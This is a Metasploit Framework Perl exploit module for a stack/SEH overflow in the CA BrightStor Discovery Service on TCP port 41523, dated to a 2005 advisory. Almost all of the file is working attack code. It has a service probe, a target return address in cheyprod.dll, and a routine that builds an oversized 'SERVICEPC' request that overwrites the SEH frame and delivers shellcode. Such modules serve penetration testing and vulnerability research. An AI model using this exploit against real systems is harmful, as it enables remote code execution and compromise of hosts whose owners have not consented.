## # This file is part of the Metasploit Framework and may be redistributed # according to the licenses defined in the Authors field below. In the # case of an unknown or missing license, this file defaults to the same # license as the core Framework (dual GPLv2 and Artistic). The latest # version of the Framework can always be obtained from metasploit.com. ## package Msf::Exploit::cabrightstor_disco_servicepc; use base "Msf::Exploit"; use strict; use Pex::Text; my $advanced = { }; my $info = { 'Name' => 'CA BrightStor Discovery Service SERVICEPC Overflow', 'Version' => '$Revision: 1.2 $', 'Authors' => [ 'H D Moore ' ], 'Arch' => [ 'x86' ], 'OS' => [ 'win32', 'win2000', 'winxp', 'win2003' ], 'Priv' => 1, 'AutoOpts' => { 'EXITFUNC' => 'process' }, 'UserOpts' => { 'RHOST' => [1, 'ADDR', 'The target address'], 'RPORT' => [1, 'PORT', 'The target port', 41523], }, 'Payload' => { 'Space' => 2048, 'BadChars' => "\x00", 'PrependEncoder' => "\x81\xc4\x54\xf2\xff\xff", # add esp, -3500 'Keys' => ['+ws2ord'], }, 'Description' => Pex::Text::Freeform(qq{ This module exploits a vulnerability in the CA BrightStor Discovery Service. This vulnerability occurs when a specific type of request is sent to the TCP listener on port 41523. This vulnerability was discovered by cybertronic[at]gmx.net and affects all known versions of the BrightStor product. This module is based on the 'cabrightstor_disco' exploit by Thor Doomen. }), 'Refs' => [ ['URL', 'http://archives.neohapsis.com/archives/bugtraq/2005-02/0123.html'], ], 'Targets' => [ ['cheyprod.dll 12/12/2003', 0x23805714], # pop/pop/ret ], 'Keys' => ['brightstor'], }; sub new { my $class = shift; my $self = $class->SUPER::new({'Info' => $info, 'Advanced' => $advanced}, @_); return($self); } sub Check { my $self = shift; my $target_host = $self->GetVar('RHOST'); my $target_port = $self->GetVar('RPORT'); # Connection #1 should not receive a response my $s = Msf::Socket::Tcp->new ( 'PeerAddr' => $target_host, 'PeerPort' => $target_port, ); if ($s->IsError) { $self->PrintLine('[*] Error creating socket: ' . $s->GetError); return $self->CheckCode('Connect'); } $s->Send("META"); my $res = $s->Recv(-1, 1); $s->Close; if ($res) { $self->PrintLine("[*] The discovery returned a strange response: $res"); } # Connection #2 should receive the hostname of the target my $s = Msf::Socket::Tcp->new ( 'PeerAddr' => $target_host, 'PeerPort' => $target_port, ); if ($s->IsError) { $self->PrintLine('[*] Error creating socket: ' . $s->GetError); return $self->CheckCode('Connect'); } $s->Send("hMETA"); my $res = $s->Recv(-1, 1); $s->Close; if (! $res) { $self->PrintLine("[*] The discovery service did not respond to our query"); return $self->CheckCode('Generic'); } $self->PrintLine("[*] Discovery service active on host: $res"); return $self->CheckCode('Detected'); } sub Exploit { my $self = shift; my $target_host = $self->GetVar('RHOST'); my $target_port = $self->GetVar('RPORT'); my $target_idx = $self->GetVar('TARGET'); my $shellcode = $self->GetVar('EncodedPayload')->Payload; my $target = $self->Targets->[$target_idx]; $self->PrintLine("[*] Attempting to exploit target " . $target->[0]); my $s = Msf::Socket::Tcp->new ( 'PeerAddr' => $target_host, 'PeerPort' => $target_port, ); if ($s->IsError) { $self->PrintLine('[*] Error creating socket: ' . $s->GetError); return; } my $poof = Pex::Text::EnglishText(4096); # Overwriting the return address works well, but the only register # pointing back to our code is 'esp'. The following stub overwrites # the SEH frame instead, making things a bit easier. substr($poof, 1024, 2, "\xeb\x06"); substr($poof, 1028, 4, pack('V', $target->[1])); substr($poof, 1032, length($shellcode), $shellcode); # Make sure the return address is invalid to trigger SEH substr($poof, 900, 100, chr(128 + rand()*127) x 100); my $bang = "\x9b". "SERVICEPC". "\x18". pack('N', 0x01020304). "SERVICEPC". "\x01\x0c\x6c\x93\xce\x18\x18\x41". $poof; $self->PrintLine("[*] Sending " .length($bang) . " bytes to remote host."); $s->Send($bang); # Closing the socket too early breaks the exploit $s->Recv(-1, 5); return; } 1;

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